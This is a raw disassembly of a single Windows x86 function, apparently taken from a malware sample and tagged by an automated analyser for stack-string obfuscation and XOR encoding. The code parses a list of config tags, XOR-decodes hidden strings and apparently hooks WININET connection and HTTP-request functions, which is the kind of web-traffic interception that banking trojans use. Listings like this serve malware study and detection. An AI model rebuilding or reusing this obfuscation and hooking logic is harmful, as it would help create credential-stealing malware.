Function at 0x41e9d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push 0xffffffffffffffff
push 0x47b1a1
mov eax, dword fs:[0]
push eax
sub esp, 0x340
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x338], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4947a0]
xor eax, esp
push eax
lea eax, [esp + 0x354]
mov dword fs:[0], eax
mov eax, dword [esp + 0x364]
mov dword [esp + 0x14], eax
xor ebx, ebx
mov eax, 0xf
mov dword [esp + 0x18], ecx
mov dword [esp + 0x2bc], eax
mov dword [esp + 0x2b8], ebx
mov byte [esp + 0x2a8], bl
mov dword [esp + 0x35c], ebx
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
mov byte [esp + 0x35c], 1
mov ebp, dword [0x4b11c4]
mov edi, dword [0x4b11c0]
mov ecx, ebp
sub ecx, edi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor esi, esi
add eax, edx
mov dword [0x4b131c], ebx
mov dword [0x4b1320], ebx
je 0x41eb1e
jmp 0x41ea92
xor ebx, ebx
push esi
mov eax, 0x4b11b4
call fcn.004366a0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x64]
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
call fcn.00401910
mov ebx, dword [esp + 0x14]
lea ecx, [esp + 0x58]
push ecx
add ebx, 0x188
mov byte [esp + 0x360], 2
call fcn.00415fb0
mov byte [esp + 0x35c], 1
cmp dword [esp + 0x70], 0x10
jb 0x41eaf2
mov edx, dword [esp + 0x5c]
push edx
call fcn.004396bc
add esp, 4
mov ebp, dword [0x4b11c4]
mov edi, dword [0x4b11c0]
mov ecx, ebp
sub ecx, edi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
cmp esi, eax
jb 0x41ea90
mov ebx, ebp
cmp edi, ebp
jbe 0x41eb35
call fcn.0045e79a
mov ebp, dword [0x4b11c4]
mov edi, dword [0x4b11c0]
mov esi, dword [0x4b11b4]
cmp edi, ebp
jbe 0x41eb44
call fcn.0045e79a
mov ecx, dword [0x4b11b4]
push ebx
push esi
push edi
push ecx
lea ebx, [esp + 0x310]
mov esi, 0x4b11b4
call fcn.00437030
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x2e0]
push eax
lea edx, [esp + 0x2ac]
call fcn.004322b0
sub esp, 0x1c
mov byte [esp + 0x378], 3
mov ecx, esp
mov dword [esp + 0x314], esp
xor ebx, ebx
push 4
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
mov ebp, 0x10
cmp dword [esp + 0x54], ebp
jae 0x41ebbf
lea ecx, [esp + 0x40]
push str.ETS:
lea edi, [esp + 0x28c]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 4
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ec07
lea ecx, [esp + 0x40]
push str.PWB:
lea edi, [esp + 0xb0]
call fcn.0040f860
add esp, 0x20
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x4ae468
mov byte [esp + 0x368], 5
call fcn.00401910
mov byte [esp + 0x35c], 4
cmp dword [esp + 0xa8], ebp
jb 0x41ec52
mov ecx, dword [esp + 0x94]
push ecx
call fcn.004396bc
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ec81
lea ecx, [esp + 0x40]
push str.DCK:
lea edi, [esp + 0x270]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 6
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ecc9
lea ecx, [esp + 0x40]
push str.NWL:
lea edi, [esp + 0x2e0]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 7
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ed11
lea ecx, [esp + 0x40]
push str.GDS:
lea edi, [esp + 0xb0]
call fcn.0040f860
add esp, 0x20
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x4ae508
mov byte [esp + 0x368], 8
call fcn.00401910
mov byte [esp + 0x35c], 7
cmp dword [esp + 0xa8], ebp
jb 0x41ed5c
mov edx, dword [esp + 0x94]
push edx
call fcn.004396bc
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ed8b
lea ecx, [esp + 0x40]
push str.PSC:
lea edi, [esp + 0x120]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 9
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41edd3
lea ecx, [esp + 0x40]
push str.TOT:
lea edi, [esp + 0x190]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0xa
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ee1b
lea ecx, [esp + 0x40]
push str.ESC:
lea edi, [esp + 0x2a8]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0xb
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ee63
lea ecx, [esp + 0x40]
push str.IEV:
lea edi, [esp + 0x158]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0xc
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41eeab
lea ecx, [esp + 0x40]
push str.CHK:
lea edi, [esp + 0x104]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0xd
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41eef3
lea ecx, [esp + 0x40]
push str.VCK:
lea edi, [esp + 0x13c]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0xe
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ef3b
lea ecx, [esp + 0x40]
push str.RCK:
lea edi, [esp + 0xcc]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0xf
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41ef83
lea ecx, [esp + 0x40]
push str.FMD:
lea edi, [esp + 0x1ac]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0x10
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41efcb
lea ecx, [esp + 0x40]
push str.HSP:
lea edi, [esp + 0x1c8]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0x11
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41f013
lea ecx, [esp + 0x40]
push str.BZJ:
lea edi, [esp + 0x21c]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0x12
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41f05b
lea ecx, [esp + 0x40]
push str.DDW:
lea edi, [esp + 0x174]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0x13
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41f0a3
lea ecx, [esp + 0x40]
push str.CUR:
lea edi, [esp + 0x238]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0x14
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41f0eb
lea ecx, [esp + 0x40]
push str.BDM:
lea edi, [esp + 0x200]
call fcn.0040f860
add esp, 4
mov byte [esp + 0x378], 0x15
mov ecx, esp
mov dword [esp + 0x314], esp
push 4
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push 0x4844e8
mov byte [ecx + 4], bl
call fcn.00401bf0
mov ecx, dword [esp + 0x40]
cmp dword [esp + 0x54], ebp
jae 0x41f133
lea ecx, [esp + 0x40]
push str.SEC:
lea edi, [esp + 0x1e4]
call fcn.0040f860
add esp, 0x20
mov byte [esp + 0x35c], 0x16
cmp dword [esp + 0x1d8], ebx
jbe 0x41f168
push 0xffffffffffffffff
push ebx
mov eax, edi
push eax
mov ecx, 0x4ae524
call fcn.00401910
cmp dword [esp + 0x210], ebx
jbe 0x41f186
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x204]
push ecx
mov ecx, 0x4ae4ec
call fcn.00401910
mov esi, dword [esp + 0x130]
mov eax, esi
cmp esi, 1
jb 0x41f199
mov eax, 1
mov edi, dword [esp + 0x134]
mov edx, dword [esp + 0x120]
cmp edi, ebp
jae 0x41f1b2
lea edx, [esp + 0x120]
mov ecx, 0x4832cc
call fcn.00401d10
cmp eax, ebx
jne 0x41f1d9
cmp esi, 1
jb 0x41f1de
xor eax, eax
cmp esi, 1
setne al
cmp eax, ebx
jne 0x41f1d9
mov dword [0x4b118c], ebx
jmp 0x41f222
cmp esi, 1
jae 0x41f1e2
mov eax, esi
jmp 0x41f1e7
mov eax, 1
mov edx, dword [esp + 0x120]
cmp edi, ebp
jae 0x41f1f9
lea edx, [esp + 0x120]
mov ecx, 0x483134
call fcn.00401d10
cmp eax, ebx
jne 0x41f222
cmp esi, 1
jb 0x41f222
xor eax, eax
cmp esi, 1
setne al
cmp eax, ebx
jne 0x41f222
mov dword [0x4b118c], 1
cmp dword [esp + 0x1a0], ebx
jbe 0x41f252
mov eax, dword [esp + 0x190]
cmp dword [esp + 0x1a4], ebp
jae 0x41f242
lea eax, [esp + 0x190]
push eax
call fcn.0045ea44
add esp, 4
mov dword [0x4b1180], eax
jmp 0x41f258
mov dword [0x4b1180], ebx
mov esi, dword [esp + 0xc0]
mov eax, esi
cmp esi, 1
jb 0x41f26b
mov eax, 1
mov edi, dword [esp + 0xc4]
mov edx, dword [esp + 0xb0]
cmp edi, ebp
jae 0x41f284
lea edx, [esp + 0xb0]
mov ecx, 0x4832cc
call fcn.00401d10
cmp eax, ebx
jne 0x41f2ae
cmp esi, 1
jb 0x41f2b3
xor eax, eax
cmp esi, 1
setne al
cmp eax, ebx
jne 0x41f2ae
mov dword [0x4ae234], ebx
jmp 0x41f342
cmp esi, 1
jae 0x41f2b7
mov eax, esi
jmp 0x41f2bc
mov eax, 1
mov edx, dword [esp + 0xb0]
cmp edi, ebp
jae 0x41f2ce
lea edx, [esp + 0xb0]
mov ecx, 0x483134
call fcn.00401d10
cmp eax, ebx
jne 0x41f2f9
cmp esi, 1
jb 0x41f2fe
xor eax, eax
cmp esi, 1
setne al
cmp eax, ebx
jne 0x41f2f9
mov dword [0x4ae234], 1
jmp 0x41f342
cmp esi, 1
jae 0x41f302
mov eax, esi
jmp 0x41f307
mov eax, 1
mov edx, dword [esp + 0xb0]
cmp edi, ebp
jae 0x41f319
lea edx, [esp + 0xb0]
mov ecx, 0x483a54
call fcn.00401d10
cmp eax, ebx
jne 0x41f342
cmp esi, 1
jb 0x41f342
xor eax, eax
cmp esi, 1
setne al
cmp eax, ebx
jne 0x41f342
mov dword [0x4ae234], 2
cmp dword [esp + 0x22c], ebx
jbe 0x41f781
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x314], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x23c]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
lea ecx, [esp + 0xac]
call fcn.0042ecd0
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x4ae4b4
mov byte [esp + 0x368], 0x17
call fcn.00401910
mov byte [esp + 0x35c], 0x16
cmp dword [esp + 0xa8], 0x10
jb 0x41f3bc
mov eax, dword [esp + 0x94]
push eax
call fcn.004396bc
add esp, 4
mov al, 0x65
mov byte [esp + 0x310], al
mov byte [esp + 0x303], al
mov byte [esp + 0x2fe], al
mov al, 0x36
mov cl, 0x2b
mov dl, 0x37
mov byte [esp + 0x316], al
mov byte [esp + 0x317], al
mov al, 0x74
mov byte [esp + 0x30a], cl
mov byte [esp + 0x30f], cl
mov byte [esp + 0x302], dl
mov byte [esp + 0x2fc], dl
mov byte [esp + 0x2fd], cl
mov cl, 0x77
mov dl, 0x76
mov byte [esp + 0x31b], al
mov byte [esp + 0x31c], al
mov byte [esp + 0x309], 0x30
mov byte [esp + 0x30b], 0x26
mov byte [esp + 0x30c], 0x31
mov byte [esp + 0x30d], 0x2c
mov byte [esp + 0x30e], 0x2a
mov byte [esp + 0x311], 0x45
mov byte [esp + 0x301], 0x24
mov byte [esp + 0x304], 0x45
mov byte [esp + 0x2f9], 0x20
mov byte [esp + 0x2fa], 0x31
mov byte [esp + 0x2fb], 0x30
mov byte [esp + 0x2ff], 0x45
mov byte [esp + 0x314], 0x29
mov byte [esp + 0x315], 0x2e
mov byte [esp + 0x318], 0x32
mov byte [esp + 0x319], 0x20
mov byte [esp + 0x31a], cl
mov byte [esp + 0x31d], dl
mov byte [esp + 0x31e], cl
mov byte [esp + 0x31f], 0x45
lea eax, [esp + 0x308]
mov byte [esp + 0x308], 0x66
lea ebx, [ebx]
inc eax
xor byte [eax], 0x45
jne 0x41f4d0
lea eax, [esp + 0x300]
mov byte [esp + 0x300], dl
inc eax
xor byte [eax], 0x45
jne 0x41f4e4
lea eax, [esp + 0x2f8]
mov byte [esp + 0x2f8], 0x72
lea esp, [esp]
inc eax
xor byte [eax], 0x45
jne 0x41f500
lea eax, [esp + 0x308]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41f510
sub eax, edx
push eax
lea ecx, [esp + 0x30c]
push ecx
push 0x4ae4b4
xor eax, eax
call fcn.004057e0
cmp eax, 0xffffffff
jne 0x41f781
lea eax, [esp + 0x300]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41f541
sub eax, edx
push eax
lea edx, [esp + 0x304]
push edx
push 0x4ae4b4
xor eax, eax
call fcn.004057e0
cmp eax, 0xffffffff
jne 0x41f781
lea eax, [esp + 0x2f8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41f572
sub eax, edx
push eax
lea eax, [esp + 0x2fc]
push eax
push 0x4ae4b4
xor eax, eax
call fcn.004057e0
cmp eax, 0xffffffff
jne 0x41f781
lea eax, [esp + 0x314]
mov byte [esp + 0x314], 0x6c
inc eax
xor byte [eax], 0x45
jne 0x41f5a8
push 0xffffffffffffffff
push ebx
push 0x4ae4b4
lea ecx, [esp + 0x48]
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
call fcn.00401910
mov eax, 0x483364
mov byte [esp + 0x35c], 0x18
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41f5e0
sub eax, edx
push eax
push 0x483364
lea ecx, [esp + 0x44]
push ecx
xor eax, eax
call fcn.004057e0
mov edi, eax
cmp edi, 0xffffffff
je 0x41f765
push edi
xor ecx, ecx
lea esi, [esp + 0x78]
lea edx, [esp + 0x40]
call fcn.0040cf20
mov byte [esp + 0x35c], 0x19
cmp dword [esp + 0x8c], 0x10
mov eax, dword [esp + 0x78]
jae 0x41f630
lea eax, [esp + 0x78]
push eax
call fcn.0045ea44
add esp, 4
push 0xffffffffffffffff
lea ecx, [edi + 3]
lea esi, [esp + 0x94]
lea edx, [esp + 0x40]
mov ebp, eax
call fcn.0040cf20
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x368], 0x1a
call fcn.00401910
mov byte [esp + 0x35c], 0x19
cmp dword [esp + 0xa8], 0x10
jb 0x41f687
mov edx, dword [esp + 0x94]
push edx
call fcn.004396bc
add esp, 4
mov eax, 0x483364
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x41f690
sub eax, edx
push eax
push 0x483364
lea eax, [esp + 0x44]
push eax
xor eax, eax
call fcn.004057e0
cmp eax, 0xffffffff
je 0x41f74e
push eax
xor ecx, ecx
lea esi, [esp + 0x324]
lea edx, [esp + 0x40]
call fcn.0040cf20
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x368], 0x1b
call fcn.00401910
mov ecx, esi
mov byte [esp + 0x35c], 0x19
call fcn.00401df0
push ebx
push ebp
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x31c], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x68]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edx
lea esi, [esp + 0x344]
mov byte [ecx + 4], bl
call fcn.00401910
lea eax, [esp + 0x344]
push eax
mov ecx, esi
call fcn.00419440
add esp, 0x28
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x4ae4b4
mov byte [esp + 0x368], 0x1c
call fcn.00401910
lea ecx, [esp + 0x320]
call fcn.00401df0
cmp dword [esp + 0x8c], 0x10
jb 0x41f765
mov ecx, dword [esp + 0x78]
push ecx
call fcn.004396bc
add esp, 4
mov byte [esp + 0x35c], 0x16
cmp dword [esp + 0x54], 0x10
jb 0x41f781
mov edx, dword [esp + 0x40]
push edx
call fcn.004396bc
add esp, 4
cmp dword [esp + 0x1f4], ebx
jbe 0x41f7ca
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x1e8]
push eax
mov ecx, 0x4ae4d0
call fcn.00401910
mov eax, dword [sym.imp.WININET.dll_InternetConnectA]
push 0x4b11ac
push 0x41d840
call fcn.00417780
mov eax, dword [sym.imp.WININET.dll_InternetConnectW]
push 0x4b11b0
push 0x41da60
call fcn.00417780
add esp, 0x10
cmp dword [esp + 0x1bc], ebx
jbe 0x41fb05
mov eax, dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0x4b11a4
push 0x41d490
call fcn.00417780
mov eax, dword [sym.imp.WININET.dll_HttpOpenRequestW]
push 0x4b11a8
push 0x41d000
call fcn.00417780
add esp, 0x10
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x1b0]
push ecx
mov esi, 0xf
lea ecx, [esp + 0x64]
mov dword [esp + 0x7c], esi
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
call fcn.00401910
mov byte [esp + 0x35c], 0x1d
push 3
push 0x4832f0
lea ecx, [esp + 0x44]
mov dword [esp + 0x5c], esi
mov dword [esp + 0x58], ebx
mov byte [esp + 0x48], bl
call fcn.00401bf0
mov byte [esp + 0x35c], 0x1e
push 3
push 0x484588
lea ecx, [esp + 0xd0]
mov dword [esp + 0xe8], esi
mov dword [esp + 0xe4], ebx
mov byte [esp + 0xd4], bl
call fcn.00401bf0
mov byte [esp + 0x35c], 0x1f
cmp dword [esp + 0x54], 0x10
mov eax, dword [esp + 0x40]
jae 0x41f892
lea eax, [esp + 0x40]
mov edx, dword [esp + 0x50]
push edx
push eax
lea eax, [esp + 0x60]
push eax
xor eax, eax
call fcn.004057e0
mov ebp, eax
cmp ebp, 0xffffffff
je 0x41fa93
nop
push ebp
xor ecx, ecx
lea esi, [esp + 0x94]
lea edx, [esp + 0x5c]
call fcn.0040cf20
mov byte [esp + 0x35c], 0x20
cmp dword [esp + 0xe0], 0x10
mov eax, dword [esp + 0xcc]
jae 0x41f8e3
lea eax, [esp + 0xcc]
mov ecx, dword [esp + 0xdc]
push ecx
push eax
lea edx, [esp + 0x98]
push edx
xor eax, eax
call fcn.004057e0
mov edi, eax
push edi
xor ecx, ecx
lea esi, [esp + 0x78]
lea edx, [esp + 0x94]
call fcn.0040cf20
mov byte [esp + 0x35c], 0x21
mov eax, dword [esp + 0xdc]
push 0xffffffffffffffff
lea ecx, [eax + edi]
lea esi, [esp + 0x238]
lea edx, [esp + 0x94]
call fcn.0040cf20
push 0x38
mov byte [esp + 0x360], 0x22
call fcn.0043968c
add esp, 4
cmp eax, ebx
je 0x41f968
mov ecx, 0xf
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ebx
mov byte [eax + 4], bl
mov dword [eax + 0x34], ecx
mov dword [eax + 0x30], ebx
mov byte [eax + 0x20], bl
mov esi, eax
jmp 0x41f96a
xor esi, esi
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x7c]
push ecx
mov ecx, esi
mov dword [esp + 0x304], esi
call fcn.00401910
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x23c]
lea ecx, [esi + 0x1c]
push edx
call fcn.00401910
lea edi, [esp + 0x2f8]
call fcn.00436d00
mov eax, dword [esp + 0x50]
push 0xffffffffffffffff
lea ecx, [eax + ebp]
lea esi, [esp + 0x324]
lea edx, [esp + 0x5c]
call fcn.0040cf20
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x368], 0x23
call fcn.00401910
cmp dword [esp + 0x338], 0x10
jb 0x41f9e7
mov ecx, dword [esp + 0x324]
push ecx
call fcn.004396bc
add esp, 4
mov eax, dword [esp + 0x40]
mov esi, 0x10
cmp dword [esp + 0x54], esi
jae 0x41f9fa
lea eax, [esp + 0x40]
mov edx, dword [esp + 0x50]
push edx
push eax
lea eax, [esp + 0x60]
push eax
xor eax, eax
call fcn.004057e0
mov ebp, eax
cmp dword [esp + 0x24c], esi
jb 0x41fa27
mov ecx, dword [esp + 0x238]
push ecx
call fcn.004396bc
add esp, 4
mov edi, 0xf
mov dword [esp + 0x24c], edi
mov dword [esp + 0x248], ebx
mov byte [esp + 0x238], bl
cmp dword [esp + 0x8c], esi
jb 0x41fa57
mov edx, dword [esp + 0x78]
push edx
call fcn.004396bc
add esp, 4
mov byte [esp + 0x35c], 0x1f
mov dword [esp + 0x8c], edi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
cmp dword [esp + 0xa8], esi
jb 0x41fa8a
mov eax, dword [esp + 0x94]
push eax
call fcn.004396bc
add esp, 4
cmp ebp, 0xffffffff
jne 0x41f8b0
mov esi, 0x10
cmp dword [esp + 0xe0], esi
jb 0x41fab1
mov ecx, dword [esp + 0xcc]
push ecx
call fcn.004396bc
add esp, 4
mov edi, 0xf
mov dword [esp + 0xe0], edi
mov dword [esp + 0xdc], ebx
mov byte [esp + 0xcc], bl
cmp dword [esp + 0x54], esi
jb 0x41fade
mov edx, dword [esp + 0x40]
push edx
call fcn.004396bc
add esp, 4
mov byte [esp + 0x35c], 0x16
mov dword [esp + 0x54], edi
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
cmp dword [esp + 0x70], esi
jb 0x41fb05
mov eax, dword [esp + 0x5c]
push eax
call fcn.004396bc
add esp, 4
mov esi, dword [esp + 0x168]
mov eax, esi
cmp esi, 1
jb 0x41fb18
mov eax, 1
cmp dword [esp + 0x16c], 0x10
mov edx, dword [esp + 0x158]
jae 0x41fb30
lea edx, [esp + 0x158]
mov ecx, 0x483134
call fcn.00401d10
cmp eax, ebx
jne 0x41fb7b
cmp esi, 1
jb 0x41fb7b
xor eax, eax
cmp esi, 1
setne al
cmp eax, ebx
jne 0x41fb7b
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x314], esp
push ebx
mov ebp, 0xf
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push 0x483234
mov byte [ecx + 4], bl
call fcn.00401bf0
call fcn.00431f70
jmp 0x41fb80
mov ebp, 0xf
cmp dword [esp + 0x14c], ebx
jbe 0x41fbd8
mov ecx, 0x48458c
lea edi, [esp + 0x138]
call fcn.00401da0
test eax, eax
jne 0x41fbab
push ebx
push 0x483234
mov ecx, edi
call fcn.00401bf0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x314], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x15c]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
call fcn.004124e0
add esp, 0x1c
mov esi, dword [esp + 0xf8]
mov eax, esi
cmp esi, 3
jb 0x41fbeb
mov eax, 3
cmp dword [esp + 0xfc], 0x10
mov edx, dword [esp + 0xe8]
jae 0x41fc03
lea edx, [esp + 0xe8]
mov ecx, 0x484590
call fcn.00401d10
cmp eax, ebx
jne 0x41fc38
cmp esi, 3
jb 0x41fc38
xor eax, eax
cmp esi, 3
setne al
cmp eax, ebx
jne 0x41fc38
mov esi, dword [esp + 0x14]
mov eax, 1
mov dword [0x4b1188], eax
mov dword [esi + 0x11c], eax
jmp 0x41fcad
mov ecx, 0x484594
lea edi, [esp + 0xe4]
call fcn.00401da0
test eax, eax
jne 0x41fc63
mov esi, dword [esp + 0x14]
mov dword [0x4b1188], 1
mov dword [esi + 0x11c], ebx
jmp 0x41fcad
mov ecx, 0x484598
lea edi, [esp + 0xe4]
call fcn.00401da0
test eax, eax
jne 0x41fc84
mov esi, dword [esp + 0x14]
mov dword [esi + 0x11c], ebx
jmp 0x41fca7
mov ecx, 0x48459c
lea edi, [esp + 0xe4]
call fcn.00401da0
mov esi, dword [esp + 0x14]
test eax, eax
jne 0x41fcad
mov dword [esi + 0x11c], 1
mov dword [0x4b1188], ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x314], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x290]
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00401910
sub esp, 0x1c
mov byte [esp + 0x394], 0x24
mov ecx, esp
mov dword [esp + 0x338], esp
push 3
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
push 0x4835e4
mov byte [ecx + 4], bl
call fcn.00401bf0
mov byte [esp + 0x394], 0x16
call fcn.0040fba0
add esp, 0x38
mov ecx, 0x483134
lea edi, [esp + 0x288]
call fcn.00401da0
test eax, eax
jne 0x41fd2a
mov dword [esi + 0x118], 1
cmp dword [esp + 0x184], ebx
jbe 0x41fd5c
cmp dword [esp + 0x188], 0x10
mov eax, dword [esp + 0x174]
jae 0x41fd4b
lea eax, [esp + 0x174]
push eax
call fcn.0045ea44
mov ecx, dword [esp + 0x1c]
add esp, 4
mov dword [ecx], eax
jmp 0x41fd66
mov edx, dword [esp + 0x18]
mov dword [edx], 5
mov ecx, 0x483134
lea edi, [esp + 0x100]
call fcn.00401da0
